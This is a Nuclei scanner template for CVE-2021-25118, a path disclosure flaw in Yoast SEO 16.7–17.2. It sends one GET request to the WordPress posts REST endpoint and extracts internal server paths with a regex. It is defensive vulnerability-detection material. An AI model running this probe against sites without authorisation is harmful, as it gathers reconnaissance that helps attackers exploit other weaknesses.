nuclei-templates/http/cves/2021/CVE-2021-25118.yaml

56 lines
1.7 KiB
YAML

id: CVE-2021-25118
info:
name: Yoast SEO 16.7-17.2 - Information Disclosure
author: DhiyaneshDK
severity: medium
description: Yoast SEO plugin 16.7 to 17.2 is susceptible to information disclosure, The plugin discloses the full internal path of featured images in posts via the wp/v2/posts REST endpoints, which can help an attacker identify other vulnerabilities or help during the exploitation of other identified vulnerabilities.
remediation: Fixed in version 17.3.
reference:
- https://wpscan.com/vulnerability/2c3f9038-632d-40ef-a099-6ea202efb550
- https://plugins.trac.wordpress.org/changeset/2608691
- https://nvd.nist.gov/vuln/detail/CVE-2021-25118
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2021-25118
cwe-id: CWE-200
epss-score: 0.00155
epss-percentile: 0.51799
cpe: cpe:2.3:a:yoast:yoast_seo:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: yoast
product: yoast_seo
framework: wordpress
tags: wpscan,wordpress,cve2021,wp-plugin,fpd,cve,wp
http:
- method: GET
path:
- "{{BaseURL}}/wp-json/wp/v2/posts?per_page=1"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/json"
- type: regex
regex:
- '"path":"(.*)/wp-content\\(.*)","size'
- type: status
status:
- 200
extractors:
- type: regex
group: 1
regex:
- '"path":"(.*)/wp-content\\(.*)","size'
part: body
# digest: 4a0a00473045022026e9257f6bbac526d2f73b03443c15779cad2ac7c1745fce43393dc3a46eb7df022100a7563304cb21d9ace785a9f25d9f9181479a3c688cb9a75360ecdaba040f1553:922c64590222798bb761d5b6d8e72950